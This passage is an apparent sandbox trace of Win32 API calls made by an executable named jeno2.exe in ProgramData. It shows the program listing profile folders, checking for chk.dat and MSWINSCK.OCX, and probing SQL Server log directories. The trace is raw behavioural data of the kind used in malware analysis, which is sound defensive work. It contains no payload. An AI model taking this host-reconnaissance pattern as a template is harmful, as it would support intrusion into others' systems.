ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName="Adobe", cAlternateFileName="")) returned 1 [0087.085] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x184, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0087.085] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed7d4d10, ftCreationTime.dwHighDateTime=0x1d6080c, ftLastAccessTime.dwLowDateTime=0xed7d4d10, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xed7d4d10, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x184, cFileName="chk.dat", cAlternateFileName="")) returned 1 [0087.085] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18ebd8) returned 0x0 [0087.085] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18ebd8) returned 0x0 [0087.085] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e7c0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0087.085] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e7c0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0087.085] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e7c0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0087.085] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0387900, ftCreationTime.dwHighDateTime=0x1d6080c, ftLastAccessTime.dwLowDateTime=0xd0387900, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0x8482d100, ftLastWriteTime.dwHighDateTime=0x1d60806, nFileSizeHigh=0x0, nFileSizeLow=0x710a00, dwReserved0=0xa0000003, dwReserved1=0x18e7c0, cFileName="jeno2.exe", cAlternateFileName="")) returned 1 [0087.087] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18ebd8) returned 0x1 [0087.087] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18ebd8) returned 0x1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e7c0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e7c0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e7c0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed820fd0, ftCreationTime.dwHighDateTime=0x1d6080c, ftLastAccessTime.dwLowDateTime=0xed820fd0, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xedf451d0, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x1a730, dwReserved0=0x1, dwReserved1=0x18e7c0, cFileName="MSWINSCK.OCX", cAlternateFileName="")) returned 1 [0087.087] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18ebd8) returned 0x2 [0087.087] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18ebd8) returned 0x2 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e7c0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e7c0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e7c0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e7c0, cFileName="Sun", cAlternateFileName="")) returned 1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e7c0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0087.087] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e7c0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0087.087] FindClose (in: hFindFile=0x143cbc8 | out: hFindFile=0x143cbc8) returned 1 [0087.087] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0087.087] InvalidateRect (hWnd=0x5011e, lpRect=0x0, bErase=1) returned 1 [0087.087] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0087.088] UpdateWindow (hWnd=0x5011e) returned 1 [0087.088] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x3 [0087.088] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18a, wParam=0x0, lParam=0x0) returned 0x7 [0087.088] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x8) returned 0x38374e0 [0087.088] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x189, wParam=0x0, lParam=0x38374e0) returned 0x7 [0087.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0087.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=8 | out: lpWideCharStr="chk.dat") returned 8 [0087.088] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38374e0 | out: hHeap=0x3820000) returned 1 [0087.088] CharLowerBuffW (in: lpsz=".dat", cchLength=0x5 | out: lpsz=".dat") returned 0x5 [0087.088] VarCmp (pvarLeft=0x18ef40, pvarRight=0x18ef10, lcid=0x0, dwFlags=0x30001) returned 0x0 [0087.088] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18a, wParam=0x1, lParam=0x0) returned 0x9 [0087.088] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xa) returned 0x3832ec0 [0087.088] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x189, wParam=0x1, lParam=0x3832ec0) returned 0x9 [0087.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0087.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=10 | out: lpWideCharStr="jeno2.exe") returned 10 [0087.088] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0087.089] CharLowerBuffW (in: lpsz=".exe", cchLength=0x5 | out: lpsz=".exe") returned 0x5 [0087.089] VarCmp (pvarLeft=0x18ef40, pvarRight=0x18ef10, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.089] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18a, wParam=0x1, lParam=0x0) returned 0x9 [0087.089] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xa) returned 0x3832ec0 [0087.089] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x189, wParam=0x1, lParam=0x3832ec0) returned 0x9 [0087.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0087.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=10 | out: lpWideCharStr="jeno2.exe") returned 10 [0087.089] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0087.089] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18ecac, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0087.089] lstrcpynA (in: lpString1=0x18eb98, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0087.089] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0087.089] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c4c8 [0087.089] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c4f0 [0087.089] lstrcpyA (in: lpString1=0x383c4c8, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0087.090] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x6) returned 0x38374e0 [0087.090] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383c4f0 | out: hHeap=0x3820000) returned 1 [0087.090] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383c4c8 | out: hHeap=0x3820000) returned 1 [0087.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0087.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x14aab44, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0087.090] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38374e0 | out: hHeap=0x3820000) returned 1 [0087.090] VarBstrCmp (bstrLeft="jeno2.exe", bstrRight="jeno2.exe", lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.090] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18a, wParam=0x2, lParam=0x0) returned 0xc [0087.090] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xd) returned 0x3832ec0 [0087.090] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x189, wParam=0x2, lParam=0x3832ec0) returned 0xc [0087.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0087.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=13 | out: lpWideCharStr="MSWINSCK.OCX") returned 13 [0087.090] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0087.090] CharLowerBuffW (in: lpsz=".OCX", cchLength=0x5 | out: lpsz=".ocx") returned 0x5 [0087.090] VarCmp (pvarLeft=0x18ef40, pvarRight=0x18ef10, lcid=0x0, dwFlags=0x30001) returned 0x2 [0087.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.091] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.091] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.091] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.091] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.091] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.091] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.091] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL5.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL5.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.091] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL5.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL5.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x42 [0087.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL5.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL5.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.091] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL5.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL5.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="¯í\x18")) returned 0xffffffff [0087.092] GetLastError () returned 0x3 [0087.092] GetLastError () returned 0x3 [0087.092] SetLastError (dwErrCode=0x3) [0087.092] GetLastError () returned 0x3 [0087.092] SetLastError (dwErrCode=0x3) [0087.092] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.092] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.092] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.092] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.092] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.092] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.092] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.092] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL6.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL6.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.092] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL6.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL6.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x42 [0087.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL6.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL6.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.092] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL6.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL6.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="¯í\x18")) returned 0xffffffff [0087.093] GetLastError () returned 0x3 [0087.093] GetLastError () returned 0x3 [0087.093] SetLastError (dwErrCode=0x3) [0087.093] GetLastError () returned 0x3 [0087.093] SetLastError (dwErrCode=0x3) [0087.093] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.093] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.093] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.093] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.093] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.093] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.093] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.093] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL7.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL7.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.093] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL7.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, 